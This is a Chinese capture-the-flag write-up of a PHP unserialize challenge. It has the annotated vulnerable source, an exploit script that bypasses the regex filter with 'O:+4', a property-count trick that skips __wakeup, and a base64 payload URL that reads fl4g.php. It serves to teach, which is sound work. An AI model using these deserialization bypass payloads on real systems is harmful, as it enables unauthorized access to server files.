打开题目，网页上显示一段代码，以下是代码，我已经全部加了注释：

PHP D5 (tomorrow) ···

```php
<?php      //php代码开头标识
class Demo {        //定义一个类
    private $file = 'index.php';      //定义一个私有变量，php里变量以$开关，php中对大小写敏感
    /* /*这个是php中的多行注释，私有变量：private: 私有类型：该类型的属性或方法只能在该类中使用，
在该类的实例、子类中、子类的实例中都不能调用私有类型的属性和方法 */
    public function __construct($file) {    //定义一个公有函数
    /*public: 公有类型
    在子类中可以通过 self::属性名(或方法名)  调用public方法或属性,parent::方法名 调用父类方法
    在实例中可以能过 $obj->属性名(或方法名) 来调用  public类型的方法或属性
    __construct:PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。
    */
        $this->file = $file;          //->用来引用对象的成员（属性与方法）,相当于别的函数的，注意后面的引用属性不用再加一个$
    }               //方法以大括号为结束标志
    function __destruct() {
    /*PHP __destruct 5 引入了析构函数的概念，这类
```

```
似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁（例如 unset()）时执行。*/
16          echo @highlight_file($this->file, true);

17      /*highlight_file(filename,return) 函数对文件进行语法高亮显示，如果 return 参数被设置为 true，那么该函数会返回被高亮处理的代码，而不是输出它们。否则，若成功，则返回 true，失败则返回 false。 整段代码的意思就是当文件销毁时会输出$file的代码。 at符号（@）在PHP中用作错误控制操作符。当表达式附加@符号时，将忽略该表达式可能生成的错误消息。      */
18      }
19      function __wakeup() {    //unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。
20          if ($this->file != 'index.php') {    //判断file参数是不是，Index.php,如果不是的话，让file=index.php
21              //the secret is in the fl4g.php
22              $this->file = 'index.php';
23          }
24      }
25  }
26  if (isset($_GET['var'])) {    //isset — 检测变量是否已设置并且非 NULL，这段代码就是检测是否传递了get请求的var变量
27      $var = base64_decode($_GET['var']);        //对var变量进行base64解码
28      if (preg_match('/[oc]:\d+:/i', $var)) {    //preg_match — 执行匹配正则表达式,返回匹配到的次
```

```
    数。
29          die('stop hacking!');      //die等同于
    exit()
30      } else {
31          @unserialize($var);     //反序列化:
    unserialize() 对单一的已序列化的变量进行操作，将其
    转换回 PHP 的值。
32      }
33  } else {
34      highlight_file("index.php");       //输出
    index.php的代码
35  }
36  ?>
```

如果要想输出fl4g.php就需要把一个反序列化字符串传给var变量，反序列化字符串的创建时初始化变量应该是fl4g.php，那么可以想到用这个类来构造反序列化字符串，相关代码如下：

```
1  <?php
2  header("Content-Type: text/html; charset=utf-
   8");
3  class Demo {
4  private $file = 'index.php';
5  protected $file1 = 'index.php';
6  public function __construct($file) {
7      $this->file = $file;
8      //$this->file1 = $file1;
9  }
10 function __destruct() {
```

```php
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}

$a = new Demo("fl4g.php");
$b = serialize($a);

echo "替换前字符串为: ".$b.'<br>';
$b = str_replace('O:4','O:+4',$b);    //绕过原程序的过滤规则
$b = str_replace('1:{','3:{',$b);    //绕过__wakeup()方法

echo "替换后字符串为: ".$b.'<br>';
echo base64_encode($b);
echo '<br>';
?>
```

如上代码，可以构造出反序列化字符串，把这个字符串base64编码后，输入到网址上

http://220.249.52.133:35548/index.php?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERIbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7czo4OiIAKgBmaWxlMSI7czo5

OiJpbmRleC5waHAiO30=

就可以得到答案。

其他补充知识：

绕过__wakeup()方法： 详见：https://www.guildhab.top/?p=990 具体原因还是挺复杂的，暂时只要知道有这个漏洞就好了，以后有精力再深入研究

正则表达式：'/[oc]:\d+:/i'

/XXXX/==> php的正则表达式需要放在// 之间

末尾的i==> 修饰符，表示忽略大小写

[oc] ==》匹配o和c.

: ==》不是元字符，所以他就是普通冒号

\d ==> 匹配一个数字

\d+ ==> 匹配多个数字